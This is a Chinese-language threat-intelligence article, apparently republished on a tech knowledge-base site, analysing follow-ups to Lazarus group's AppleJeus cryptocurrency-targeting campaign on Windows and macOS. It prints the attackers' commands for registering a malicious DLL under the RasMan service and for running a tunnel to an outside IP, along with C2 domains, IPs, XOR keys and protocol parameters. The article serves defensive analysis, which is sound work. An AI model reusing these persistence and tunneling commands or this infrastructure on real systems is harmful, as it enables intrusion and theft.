怎样进行AppleJeus行动分析

Lazarus组织是目前最活跃的APT组织之一。 2018年,卡巴斯基针发现由该组织发起的名为AppleJeus的攻击行动。该行动是Lazarus首次针对macOS用户的攻击,为了攻击macOS用户,Lazarus开发了macOS恶意软件并添加身份验证机制,其可以非常仔细谨慎的下载后一阶段的有效负载,并在不落盘的情况下加载下一阶段的有效负载。为了攻击Windows用户,他们制定了多阶段感染程序。在“ AppleJeus”行动分析发布后,Lazarus在进行攻击时变得更加谨慎,采用了更多多方法来避免被发现。

AppleJeus后续

发布AppleJeus行动分析后,Lazarus继续使用类似的作案手法来破坏加密货币业务,研究人员发现了更多与AppleJeus中的macOS恶意软件类似的恶意软件。 该macOS恶意软件使用公共代码来开发安装程序。 恶意软件使用了Centrabit开发的QtBitcoinTrader。

怎样进行AppleJeus行动分析

这三个macOS安装程序使用相似的后安装程序脚本植入有效负载,并在执行获取的第二阶段有效负载时使用相同的命令。此外还识别出的另一类型macOS恶意软件MarkMakingBot.dmg(be37637d8f6c1fbe7f3ffc702afdfe1d),该恶意软件创建于2019-03-12,但网络通信并未加密,推测这是macOS恶意软件改造升级的中间阶段。

Windows恶意软件的变化

持续跟踪此活动中发现一名受害者在2019年3月受到Windows AppleJeus恶意软件的攻击。确定感染始于名为WFCUpdater.exe的恶意文件,攻击者使用了一个假网站:wfcwallet [.] com。

怎样进行AppleJeus行动分析

攻击者像以前一样使用了多阶段感染,但是方法发生了变化。 感染始于.NET恶意软件,其被伪装成WFC钱包更新程序(a9e960948fdac81579d3b752e49aceda)。此.NET文件执行后会检查命令行参数是否为“ / Embedding”。 该恶意软件负责使用硬编码的20字节XOR密钥(82 d7 ae 9b 36 7d fc ee 41 65 8f fa 74 cd 2c 62 b7 59 f5 62)解密同一文件夹中的WFC.cfg文件。其后连接到C2服务器:

wfcwallet.com (resolved ip: 108.174.195.134)

www.chainfun365.com(resolved ip: 23.254.217.53)

之后会执行攻击者的命令,安装下一阶段的有效负载。 攻击者将两个文件放置到受害者系统文件夹中:rasext.dll和msctfp.dat。他们使用RasMan(远程访问连接管理器)Windows服务注册下一阶段有效负载。 经过基本侦察后,攻击者使用以下命令手动植入有效载荷:

cmd.exe /c dir rasext.dll

cmd.exe /c dir msctfp.dat

cmd.exe /c tasklist /svc | findstr RasMan

cmd.exe /c reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesRasManThirdParty /v DllName /d rasext.dll /f

为了建立远程隧道,攻击者使用命令行参数植入了更多的相关工具,但研究人员没有获得更多的工具文件。

Port opener:

%APPDATA%LenovodevicecenterDevice.exe 6378

Tunneling tool:

%APPDATA%LenovodevicecenterCenterUpdater.exe 127.0.0.1 6378 104.168.167.16 443

macOS恶意软件变化

JMTTrading

在跟踪此攻击活动时发现了macOS恶意软件变体。攻击者将其假网站和应用程序称为JMTTrading,其他研究人员和安全厂商也发布了其大量技术细节。在这里强调一下这次攻击的不同之处。

攻击者使用GitHub来托管其恶意应用程序。

恶意软件作者在其macOS恶意软件中使用了Object-C而不是QT框架。

该恶意软件在macOS可执行文件中实现了简单的后门功能。

与以前的情况类似,使用16字节XOR密钥加密/解密的恶意软件。

Windows版本的恶意软件使用了ADVobfuscator来隐藏其代码。

macOS恶意软件的安装脚本与以前的版本有显着差异。

UnionCryptoTrader

还确定了另一项针对macOS的攻击。恶意程序名为UnionCryptoTrader,安全研究员 dineshdina04发现了一个相同的案例,该攻击总结如下:

安装脚本与JMTTrading使用的脚本相同。

恶意软件作者使用SWIFT开发了此macOS恶意软件。

恶意软件作者更改了从收集信息的方法。

该恶意软件开始使用auth_signature和auth_timestamp参数进行身份验证,以便传递第二阶段有效负载。

该恶意软件无需落盘即可加载下一阶段的有效负载。

Windows版本的UnionCryptoTrader

研究人员找到了Windows版本的UnionCryptoTrader(0f03ec3487578cef2398b5b732631fec)。它是从Telegram Messenger下载并执行:

C:Users[user name]DownloadsTelegram Desk较好UnionCryptoTraderSetup.exe

此外在假网站上找到了攻击者的Telegram,可以高度确认攻击者使用Telegram Messenger发送安装程序。由于有效负载仅在内存中执行,因此无法获取所有相关文件。 整个感染过程与WFCWallet非常相似,但是增加了注入过程。

怎样进行AppleJeus行动分析

Windows版本的UnionCryptoTrader具有以下窗口,显示几个加密货币的价格图表。

怎样进行AppleJeus行动分析

Windows版本的UnionCryptoTrader更新程序(629b9de3e4b84b4a0aa605a3e9471b31)与macOS版本功能相似。 根据构建路径(Z:Loaderx64ReleaseWinloaderExe.pdb),恶意软件作者将此恶意软件称为加载程序。 启动后,该恶意软件会检索受害者的基本信息,并以HTTP POST发送该信息。

怎样进行AppleJeus行动分析

如果C2服务器的响应为200,则恶意软件会解密有效负载并将其加载到内存中。最后恶意软件发送act=done。从此加载程序下载的下一阶段有效负载(e1953fa319cc11c2f003ad0542bca822)与WFCWallet的.NET下载程序相似。该恶意软件负责解密同一文件夹中的Adobe.icx文件,将下一个有效负载注入Internet Explorer进程,并执行攻击者的命令。

最终的有效载荷(dd03c6eb62c9bf9adaf831f1d7adcbab)与WFCWallet相同是通过手动植入的。恶意软件作者根据先前收集的信息植入仅在特定系统上有效的恶意软件。该恶意软件会检查受感染系统的信息,并将其与给定值进行比较。

怎样进行AppleJeus行动分析

Windows恶意软件将加密的msctfp.dat文件加载到系统文件夹中,并加载每个配置。 它根据该文件的内容执行附加命令。当恶意软件与C2服务器通信时会使用预定义标头的POST请求。

怎样进行AppleJeus行动分析

初始通信恶意软件首先发送参数:

cgu:来自配置的64bits十六进制值

aip:配置中的MD5哈希值

sv:硬编码值

如果来自C2服务器的响应为200,恶意软件会发送带有加密数据和随机值的下一个POST请求,攻击者使用随机值来识别每个受害者并验证POST请求。

imp:随机产生的值

dsh:imp的异或值

hb_tp:imp的异或值(key:0x67BF32)

hb_dl:加密的数据发送到C2服务器

ct:硬编码值

最后,恶意软件下载下一阶段的有效负载,对其进行解密。

此外在调查其基础架构时发现了几个仍在线的假冒网站。

怎样进行AppleJeus行动分析

怎样进行AppleJeus行动分析

总结

AppleJeus后续行动中找到几名受害者分布在英国,波兰,俄罗斯和中国,一些受害者与加密货币业务有关。

怎样进行AppleJeus行动分析

攻击者改变了macOS和Windows恶意软件,在macOS下载器中添加了身份验证机制并更改了macOS开发框架。 Windows系统中的感染过程与以前的不同。Lazarus组织为获取经济利益而进行攻击会一直持续。

怎样进行AppleJeus行动分析

关于“怎样进行AppleJeus行动分析”就介绍到这了,更多相关内容可以搜索亿速云以前的文章,希望能够帮助大家答疑解惑,请多多支持亿速云网站!

文章标题:怎样进行AppleJeus行动分析,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/26194

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
亿速云的头像亿速云认证作者
上一篇 2022年9月16日 下午10:38
下一篇 2022年9月16日 下午10:40

相关推荐

  • SpringBoot怎么进行整合Druid数据源

    1.自定义方式 使用自定义方式整合Druid 1.添加依赖 在pom.xml添加相关依赖 <!–数据库相关–> <dependency> <groupId>org.springframework.boot</groupId> <artifac…

    2022年9月15日
    50400
  • word字体放大如何弄

    word字体放大的方法 1、先选中需要放大的字体,然后点击开始菜单中的增大字号。 2、选中字体之后在悬浮框中点击字体大小就可以设置了。 3、选中需要放大的字体之后,点击上方菜单栏中的输入框,直接在里面输入你要的字号。 以上就是“word字体放大如何弄”这篇文章的所有内容,感谢各位的阅读!相信大家阅读…

    2022年9月10日
    44800
  • JavaScript怎么取消请求

    取消 XMLHttpRequest 请求 当请求已经发送了,可以使用 XMLHttpRequest.abort() 方法取消发送,代码示例如下: const xhr = new XMLHttpRequest();xhr.open(‘GET’, ‘&lt;http://127.0.0.1:30…

    2022年9月15日
    59600
  • Apache Solr velocity模板注入RCE漏洞的示例分析

    0x01简介 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。 0x02漏洞介绍 Solr中存在Velo…

    2022年9月13日
    76900
  • Redis三种集群模式是什么

    三种集群模式 redis有三种集群模式,其中主从是最常见的模式。 Sentinel 哨兵模式是为了弥补主从复制集群中主机宕机后,主备切换的复杂性而演变出来的。哨兵顾名思义,就是用来监控的,主要作用就是监控主从集群,自动切换主备,完成集群故障转移。 cluster 模式是redis官方提供的集群模式,…

    2022年9月1日
    58900
  • windows steam错误代码105如何解决

    steam错误代码105解决方法: 1、首先打开steam设置,然后点击左侧的“网页浏览器”。 2、然后选择“删除网页浏览器缓存”,再点击“删除所有浏览器cookie”。 3、右击右下角网络,点击属性然后进入网络选项,双击“Internet协议版本4”。 4、随后可以进入dns修改界面,此时可以设置…

    2022年8月31日
    1.3K00
  • cad字体都是问号如何解决

    解决方法 1、比如我们打开图纸时,系统提示找不到字体gbcbig.shx; 2、然后我们复制这个字体去浏览器里搜索下载。 3、接着我们点击桌面上的CAD图标,点击属性,打开快捷方式,找到底部的打开文件所在位置。 4、然后我们找到字体文件夹,就是Fonts文件夹。 5、接着我们就把刚刚从网站上下载下来…

    2022年9月6日
    47600
  • SQLMAP插件tamper编写与使用的方法是什么

    一、SQLMAP插件tamper简介 我们在安装SQLMAP后,一般来说会有一个名为tamper的目录,在该目录下,有很多python脚本,这些python脚本,就是sqlmap的插件,tamper翻译成中文是过滤的意思,这些脚本,对sqlmap的payload进行一定的修改,将其中容易被拦截的关键…

    2022年8月27日
    89900
  • 怎么搭建一个vue项目

    一、环境准备 1、安装node.js 2、检查node.js版本 查看版本的两种方式 1|node -v 2|node -version 出现版本号则说明安装成功(最新的以官网为准) 3、为了提高我们的效率,可以使用淘宝的镜像源 输入:npm install -g cnpm –regis…

    2022年9月21日
    73700
  • 如何借助CSS 更好的控制定时器

    平时工作中很多场合都要用到定时器,比如延迟加载、定时查询等等,但定时器的控制有时候会有些许麻烦,比如鼠标移入停止、移出再重新开始。这次介绍几个借助 CSS 来更好的控制定时器的方法,一起了解一下吧,相信可以带来不一样的体验。 一、hover 延时触发 有这样一个场景,在鼠标停留在一个元素上1s后才触…

    2022年9月16日
    61000
站长微信
站长微信
电话联系

400-800-1024

工作日9:30-21:00在线

分享本页
返回顶部